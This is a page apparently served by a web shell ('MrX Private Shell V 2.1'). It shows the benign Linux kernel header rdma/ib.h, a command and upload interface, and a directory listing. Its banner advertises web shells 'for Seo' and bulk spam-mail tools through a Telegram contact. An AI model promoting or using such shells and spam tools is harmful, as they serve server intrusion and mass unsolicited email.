__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0 OR Linux-OpenIB */
/*
 * Copyright (c) 2010 Intel Corporation.  All rights reserved.
 */

#ifndef _RDMA_IB_H
#define _RDMA_IB_H

#include <linux/types.h>
#include <linux/sched.h>
#include <linux/cred.h>
#include <linux/uaccess.h>
#include <linux/fs.h>

struct ib_addr {
	union {
		__u8		uib_addr8[16];
		__be16		uib_addr16[8];
		__be32		uib_addr32[4];
		__be64		uib_addr64[2];
	} ib_u;
#define sib_addr8		ib_u.uib_addr8
#define sib_addr16		ib_u.uib_addr16
#define sib_addr32		ib_u.uib_addr32
#define sib_addr64		ib_u.uib_addr64
#define sib_raw			ib_u.uib_addr8
#define sib_subnet_prefix	ib_u.uib_addr64[0]
#define sib_interface_id	ib_u.uib_addr64[1]
};

static inline bool ib_addr_any(const struct ib_addr *a)
{
	return ((a->sib_addr64[0] | a->sib_addr64[1]) == 0);
}

static inline bool ib_addr_loopback(const struct ib_addr *a)
{
	return ((a->sib_addr32[0] | a->sib_addr32[1] |
		 a->sib_addr32[2] | (a->sib_addr32[3] ^ htonl(1))) == 0);
}

static inline void ib_addr_set(struct ib_addr *addr,
			       __be32 w1, __be32 w2, __be32 w3, __be32 w4)
{
	addr->sib_addr32[0] = w1;
	addr->sib_addr32[1] = w2;
	addr->sib_addr32[2] = w3;
	addr->sib_addr32[3] = w4;
}

static inline int ib_addr_cmp(const struct ib_addr *a1, const struct ib_addr *a2)
{
	return memcmp(a1, a2, sizeof(struct ib_addr));
}

struct sockaddr_ib {
	unsigned short int	sib_family;	/* AF_IB */
	__be16			sib_pkey;
	__be32			sib_flowinfo;
	struct ib_addr		sib_addr;
	__be64			sib_sid;
	__be64			sib_sid_mask;
	__u64			sib_scope_id;
};

/*
 * The IB interfaces that use write() as bi-directional ioctl() are
 * fundamentally unsafe, since there are lots of ways to trigger "write()"
 * calls from various contexts with elevated privileges. That includes the
 * traditional suid executable error message writes, but also various kernel
 * interfaces that can write to file descriptors.
 *
 * This function provides protection for the legacy API by restricting the
 * calling context.
 */
static inline bool ib_safe_file_access(struct file *filp)
{
	return filp->f_cred == current_cred();
}

#endif /* _RDMA_IB_H */

Filemanager

Name Type Size Permission Actions
ib.h File 2.07 KB 0644
ib_addr.h File 7.16 KB 0644
ib_cache.h File 3.59 KB 0644
ib_cm.h File 16.73 KB 0644
ib_hdrs.h File 6.83 KB 0644
ib_mad.h File 24.58 KB 0644
ib_marshall.h File 685 B 0644
ib_pack.h File 7.81 KB 0644
ib_pma.h File 4.17 KB 0644
ib_sa.h File 19.53 KB 0644
ib_smi.h File 4.49 KB 0644
ib_sysfs.h File 1.23 KB 0644
ib_umem.h File 6.82 KB 0644
ib_umem_odp.h File 3.39 KB 0644
ib_verbs.h File 144.17 KB 0644
iba.h File 5.51 KB 0644
ibta_vol1_c12.h File 12.94 KB 0644
iw_cm.h File 6.49 KB 0644
iw_portmap.h File 2.19 KB 0644
lag.h File 530 B 0644
mr_pool.h File 568 B 0644
opa_addr.h File 2.39 KB 0644
opa_port_info.h File 13.43 KB 0644
opa_smi.h File 3 KB 0644
opa_vnic.h File 1.99 KB 0644
rdma_cm.h File 13.12 KB 0644
rdma_cm_ib.h File 797 B 0644
rdma_counter.h File 1.88 KB 0644
rdma_netlink.h File 4.32 KB 0644
rdma_vt.h File 14.22 KB 0644
rdmavt_cq.h File 1.74 KB 0644
rdmavt_mr.h File 3.94 KB 0644
rdmavt_qp.h File 28.04 KB 0644
restrack.h File 4.35 KB 0644
rw.h File 2.22 KB 0644
signature.h File 2.9 KB 0644
tid_rdma_defs.h File 2.05 KB 0644
uverbs_ioctl.h File 32.83 KB 0644
uverbs_named_ioctl.h File 4.72 KB 0644
uverbs_std_types.h File 5.24 KB 0644
uverbs_types.h File 6.96 KB 0644
Filemanager